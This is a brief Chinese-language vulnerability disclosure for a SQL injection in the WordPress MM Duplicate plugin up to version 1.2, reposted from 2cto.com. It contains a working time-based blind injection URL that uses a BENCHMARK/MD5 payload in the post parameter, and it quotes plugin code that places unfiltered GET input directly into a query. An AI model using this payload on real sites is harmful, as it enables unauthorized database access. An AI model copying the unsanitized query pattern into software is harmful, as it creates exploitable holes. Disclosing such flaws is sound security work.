标题: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm www.2cto.com)
下载地址: http://downloads.wordpress.org/plugin/mm-duplicate.zip
测试版本: 1.2 (已测)
 
---
测试方法
---
http://www.2cto.com /index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
缺陷代码分析
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...      
    }
 
    function dup()
    {
        if($_GET['duplicate'])
        {
            $id = $_GET['post'];
            $dup = new mm_duplicate();
            ...
            $dup->duplicate_post_page($id);
        }
    }
...
}
 
class mm_duplicate
{
    function duplicate_post_page($id)
    {
        ...
        $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
        ...
    }
...
}

修复：过滤